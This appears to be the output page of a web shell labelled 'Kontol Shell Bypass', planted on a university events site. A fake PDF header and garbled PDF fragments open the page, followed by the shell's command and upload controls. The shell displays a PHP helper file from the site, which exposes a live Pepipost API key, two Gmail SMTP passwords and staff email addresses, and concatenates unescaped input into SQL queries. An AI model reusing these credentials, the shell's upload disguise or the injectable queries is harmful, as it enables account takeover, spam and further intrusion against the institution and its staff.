%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/www.shardaevents.com/application/helpers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/www.shardaevents.com/application/helpers/except_letters_helper.php
<?php

if (!defined('BASEPATH')) {
    exit('No direct script access allowed');
}
define('SUPER_ROLE', array('1','2'));
define('DIGITAL_ROLE', array('6'));
define('IQAC_ROLE', array('3'));
define('DEAN_ROLE', array('4'));
define('COMMON_DASHBOARD_ROLE', array('3','4','5','6'));
define('COMMON_DASHBOARD_FACULTY_ROLE', array('1','2','6','7'));
define('SCHOOL_DEAN_ROLE', array('1','2','3','6','4'));
define('SCHOOL_ROLE', array('4'));
define('SCHOOL_HOD_ROLE', array('5'));
define('SCHOOL_HOD_FACULTY', array('7'));
define('DOWNLOAD_REPORT_ROLE', array('1','2','3', '5', '4'));

/*
* Function : resizeImage
*
*/
function resizeImage($filename, $width=250, $height=250, $path='attachments/testimonial_images')
	{
	$source_path = $_SERVER['DOCUMENT_ROOT'] . '/'. $path.'/'. $filename;
	$target_path = $_SERVER['DOCUMENT_ROOT'] . '/'.$path.'/thumbnail/';
	$config_manip = array(
          'image_library' => 'gd2',
          'source_image' => $source_path,
          'new_image' => $target_path,
          'maintain_ratio' => TRUE,
          'create_thumb' => TRUE,
          'thumb_marker' => '',
          'width' => $width,
          'height' => $height

    );
	
	$CI =& get_instance();
  	$CI->load->library('image_lib', $config_manip);
	if (!$CI->image_lib->resize()) {
        echo $CI->image_lib->display_errors(); die;
     }
		$CI->image_lib->clear();

 }



function remove_html_tags($string)
{
  return  preg_replace('/[^a-zA-Z0-9\s]/', '', strip_tags(html_entity_decode($string)));
} 

function except_letters($string)
{
   // $onlyLetters = mb_ereg_replace('[^\\p{L}\s]', '', $string);
    $onlyLetters = preg_replace('/([\s])\1+/', ' ', $onlyLetters);
    $onlyLetters = preg_replace('/\s/', '_', trim($onlyLetters));
    return $onlyLetters;
}

function allletters_lowercase($string)
{
$only_lowercase = strtolower($string);
return replaceblankspace($only_lowercase);
}


function firstletterCapital($string)
{
$ucwords = ucwords(strtolower($string));
return $ucwords;
}


function striphtmltags($string)
{
$removeallhtmlchar = strip_tags($string);
return $removeallhtmlchar;
}


function replaceblankspace($string)
{
$only_replaceblankspace = str_replace(" ","-",$string);
return $only_replaceblankspace;
}

function setcharlimit($string, $limit=15, $start=0)
{
$return_string = '';
$return_string .= substr(html_entity_decode($string),$start,$limit);
if(strlen($string)>$limit) {
	$return_string .= '...';
}
return $return_string;
}

/*
* Function : Get Default Image Name
*/

function getDefaultImage($string)
{
$response = '';
$stringArray = explode(" ",$string);
if(count($stringArray)>=2)
{
	$response = substr($stringArray[0],0,1).''.substr($stringArray[1],0,1);
} else {
	$response = substr($string,0,2);
}

return '<span class="frist-letter">'.strtoupper($response).'</span>';
}

function splitArrayAlphabetOrder($records)
{

$temp=array();    
$first_char="";
for($i=0;$i<count($records);$i++)
{
	$first_char= strtoupper ($records[$i][0]);             
		 if(!in_array($first_char, $temp))
		 {
			 echo strtoupper($first_char).'<br>'; //print A / B / C etc                      

		 }
		 $temp[]=  $first_char;
		echo $records[$i]."<br>";
}


}

function valid_seo_friendly_url($string){
		$string = str_replace(array('[\', \']',"’",":",";","|","%","@","$","^","*","(",")","?","&","<",">",",",".","/","--","+"), '', $string);
		$string = preg_replace('/\[.*\]/U', '', $string);
		$string = htmlentities($string, ENT_COMPAT, 'utf-8');
		$string = strtolower(str_replace(" ","-",$string));
		return cleanString(trim($string, '-'));
}

function seo_friendly_url($string){
		$string = str_replace(array('[\', \']',"’"), '', $string);
		$string = preg_replace('/\[.*\]/U', '', $string);
		$string = htmlentities($string, ENT_COMPAT, 'utf-8');
		return cleanString(trim($string, '-'));
}

function seo_friendly_url_desc($string){
		$string = str_replace(array('[\', \']',"’"), '', $string);
		$string = preg_replace('/\[.*\]/U', '', $string);
		$string = htmlentities($string, ENT_COMPAT, 'utf-8');
		return cleanString(trim($string, '-'));
}	

function cleanString($text) {
	$utf8 = array(
		'/[áàâãªä]/u'   =>   'a',
		'/[ÁÀÂÃÄ]/u'    =>   'A',
		'/[ÍÌÎÏ]/u'     =>   'I',
		'/[íìîï]/u'     =>   'i',
		'/[éèêë]/u'     =>   'e',
		'/[ÉÈÊË]/u'     =>   'E',
		'/[óòôõºö]/u'   =>   'o',
		'/[ÓÒÔÕÖ]/u'    =>   'O',
		'/[úùûü]/u'     =>   'u',
		'/[ÚÙÛÜ]/u'     =>   'U',
		'/ç/'           =>   'c',
		'/Ç/'           =>   'C',
		'/ñ/'           =>   'n',
		'/Ñ/'           =>   'N',
		'/–/'           =>   '-', // UTF-8 hyphen to "normal" hyphen
		'/[’‘‹›‚]/u'    =>   ' ', // Literally a single quote
		'/[“”«»„]/u'    =>   ' ', // Double quote
		'/ /'           =>   ' ', // nonbreaking space (equiv. to 0x160)
	);
	return preg_replace(array_keys($utf8), array_values($utf8), $text);
}

/*
* Function :  getSchoolList
*/
function getSchoolList($slug = '')
{
	$result = '';
	$ci=& get_instance();
	$ci->load->database();
	if($slug!=''){
		$column = '*';
		$sqlQ = "select $column from tbl_school where slug = '".$slug."' AND is_published='1' order by position ASC"; 
		$querys = $ci->db->query($sqlQ);
		$result = $querys->result();
		$results = $result[0];
	} else {
		$column = '*';
		$sqlQ = "select $column from tbl_school where is_published='1' order by position ASC"; 
		$querys = $ci->db->query($sqlQ);
		$results = $querys->result();
	}
	
	return $results;
	
}

 /*
* Get Menu Items
*/
function getmenuItems()
{
	$ci=& get_instance();
	$ci->load->database();
	$ci->db->where('in_menu', 1);
	$ci->db->order_by('position');
	$query = $ci->db->get('articles');
	return $query->result();
}
/*
* Get Menu Items
*/
function getsubmenuItems()
{
	$ci=& get_instance();
	$ci->load->database();
	$ci->db->where('sub_menu', 1);
	$ci->db->order_by('position');
	$query = $ci->db->get('articles');
	$results = array();
	foreach($query->result() as $val) {
		$results[$val->category_id][] = $val; 
	}
	return $results;
}

/*
* Function :  getHappeningsnew
*/
function getHappeningsnew()
{
	
	$ci=& get_instance();
	$ci->load->database();
	$ci->db->where('is_deleted', '0');
	$ci->db->order_by('display_order');
	$query = $ci->db->get('su_promotional_banner');
	$results = array();
	return $query->result();
}
/*
* Function :  mentorNotification
*/
function mentorNotification()
{
	
	$ci=& get_instance();
	$ci->load->database();
	$nextDate = date("Y-m-d", strtotime("-3 day"));
	$ci->db->where('createdon BETWEEN "'. date('Y-m-d', strtotime($nextDate)). ' : 00:00:00" and "'. date('Y-m-d').' 23:59:59"');
	$query = $ci->db->get('tbl_notifications_master');
	//echo $ci->db->last_query(); die;
	$results = array();
	return $query->result();  
}
	
/*
* Function :  setHistory
*/
function setHistory($activity)
{
	
	$ci=& get_instance();
	$ci->load->database();
	$user = $ci->session->userdata('userName');
	if (!$ci->db->insert('history', array(
				'activity' => $activity,
				'username' => $user,
				'ip_address' => $_SERVER['REMOTE_ADDR'],
				'createdon' => date('Y-m-d H:i:s'),
				'time' => time())
			)) {
		log_message('error', print_r($ci->db->error(), true));
		show_error(lang('database_error'));
	}
}
	
/*
* Function :  send_email_pepipost
* Description : Send Email
*/
function send_email_pepipost($to_emails, $subject, $message, $fromname='', $fromemail='', $replyto=''){
		$fromname=$fromname?$fromname:'What’s Happening';
		$fromemail=$fromemail?$fromemail:'whatshappening@shardauniversity.com'; //Change This Email ID;
		$replyto=$replyto?$replyto:'noreply@sharda.ac.in'; //Change the Email ID;
		
	    //$to_emails = 'amit.verma@sharda.ac.in,ashok.kumar5@sharda.ac.in';
		
		if(!$to_emails){
			return;
		}
		if(is_string($to_emails)){
			$to_emails=explode(",", $to_emails);
		}
		//$message = $message;
		foreach($to_emails as $to){
			$d=array (
				'personalizations' => array (0 => array ('recipient' => $to)),
				'from' => array ('fromEmail' => $fromemail, 'fromName' => $fromname),
				'replyToId'=>$replyto,
				'subject' => $subject,
				'content' => $message,
			);
			$email_jason_data=json_encode($d);
	
			$curl = curl_init();
	
			curl_setopt_array($curl, array(
			CURLOPT_URL => "https://api.pepipost.com/v2/sendEmail",
			CURLOPT_RETURNTRANSFER => true,
			CURLOPT_ENCODING => "",
			CURLOPT_MAXREDIRS => 10,
			CURLOPT_TIMEOUT => 30,
			CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
			CURLOPT_CUSTOMREQUEST => "POST",
			CURLOPT_POSTFIELDS => $email_jason_data,
			CURLOPT_HTTPHEADER => array(
				"api_key: c77184012dcf9bd5cd1886b4e0a2bb89",
			//	"api_key: aab3f77715e90569034f0c6e5d912714",
				"content-type: application/json"
			),
			));
	
			$response = curl_exec($curl);
			$err = curl_error($curl);
	
			curl_close($curl);
	
			if ($err) {
				echo "cURL Error #:" . $err;
			}
			//  else {
			// 	echo $response;
			// }
		//	die;
	}

//EOF

//EOF
}

/*
* Get Test Details
*/
function getRoleList($role_ids)
{
	$results = '';
	if(!empty($role_ids)) {
		$ci=& get_instance();
		$ci->load->database();
		$ci->db->where("id IN($role_ids)");
		$query = $ci->db->get('tbl_role_master');
		$results = $query->result();
	}
	return $results;
}

/*
* Function : getMenteeGRADES
* PS_S_STU_GRADES_VW
*
*/
function getMenteeGRADES($EMPLID, $STRM)
{

	    $dafaultarray = array('EMPLID'=>$recordArray['system_id'],'STRM'=>$recordArray['STRM']);
		$post = [
			'table' => 'PS_S_STU_GRADES_VW',
			'conditions' => $dafaultarray
		];
		
	   $resultsArray = '';
	   
	   $url = 'https://slotbooking.sharda.ac.in/mentorapi/getCommonDetails'; 
		if (!empty($url) && !empty($post)) {
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $url);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
			curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post));
			$response = curl_exec($ch);
		}
	   return json_decode($response);
}

/*
* Function : deleteDirectory
*
*/
if (!function_exists('deleteDirectory')) 
{
 function deleteDirectory($dir) {
    if (!file_exists($dir)) return true;
    if (!is_dir($dir) || is_link($dir)) return unlink($dir);
        foreach (scandir($dir) as $item) {
            if ($item == '.' || $item == '..') continue;
            if (!deleteDirectory($dir . "/" . $item)) {
                chmod($dir . "/" . $item, 0777);
                if (!deleteDirectory($dir . "/" . $item)) return false;
            };
        }
        return rmdir($dir);
  }
 } 
	/*
	* Function : sendSMTPCommonEmail
	*/
	
	function sendSMTPCommonEmail($to, $subject, $message)
	{
		$CI =& get_instance();
		$CI->load->library('email');
		$mail=$CI->email;
		$mail->clear();
		$from_email = 'eventcalender@sharda.ac.in';
		$from_name = 'Sharda Event Calender';
		$config['charset'] = 'utf-8';
		$config['wordwrap'] = TRUE;
		$config['mailtype'] = 'html';
		$config['protocol']   = "smtp";
		$config['smtp_host']  = 'ssl://smtp.gmail.com';
		$config['smtp_user']  = 'eventcalender@sharda.ac.in';
		$config['smtp_pass']  = 'ippl oihw fvbu seet';
		$config['smtp_port']  = 'multipart/alternative';
		$config['smtp_port']  = '465';
		$config['_auth_smtp'] = TRUE;
		$config['newline']    = "\r\n";
		$config['crlf']       = "\r\n";
		$mail->initialize($config);
		$mail->from($from_email, $from_name);
		$mail->to($to);
		$mail->reply_to($from_email, $from_name);
		$mail->subject($subject);
		$mail->message($message);
		return $mail->send();
	}
	
	/*
	* Function : sendSMTPCommonAllEmail
	*/
	
	function sendSMTPCommonAllEmail($to_nemails, $subject, $message, $attach_path='')
	{
		$activity = 'Go To sendSMTPCommonAllEmail & Shardaevents:: '.$subject;
		setHistory($activity);  
		
		if(is_string($to_nemails)){
			$to_nemails = $to_nemails;
			$toArrayemails=explode(",", $to_nemails);
		}
	
		
		
		$CI =& get_instance();
		$CI->load->library('email');
		$mail=$CI->email;
		$mail->clear();
		#foreach($toArrayemails as $toemails){
			// Save records in history
			$activity = "Success: $to_nemails & Subject is: ".$subject;
			setHistory($activity);  
			
			$from_email = 'whatshappening@sharda.ac.in';
			$from_name = "What's Happening";
			$config['charset'] = 'utf-8';
			$config['wordwrap'] = TRUE;
			$config['mailtype'] = 'html';
			$config['protocol']   = "smtp";
			$config['smtp_host']  = 'ssl://smtp.gmail.com';
			$config['smtp_user']  = 'whatshappening@sharda.ac.in';
			$config['smtp_pass']  = 'dpat ywzb bzwk bbye'; 
			$config['smtp_port']  = 'multipart/alternative';
			$config['smtp_port']  = '465';
			$config['_auth_smtp'] = TRUE;
			$config['newline']    = "\r\n";
			$config['crlf']       = "\r\n";
			$mail->initialize($config);
			$mail->from($from_email, $from_name);
			$mail->to(trim($to_nemails));
			$mail->reply_to($from_email, $from_name);
			$mail->subject($subject);
			$mail->message($message);
			if($attach_path){
				$mail->attach($attach_path);
			}
			$resp = $mail->send();
			$activity = "Success: email response - $resp ";
			setHistory($activity);  
			
		#}
	}
	

Kontol Shell Bypass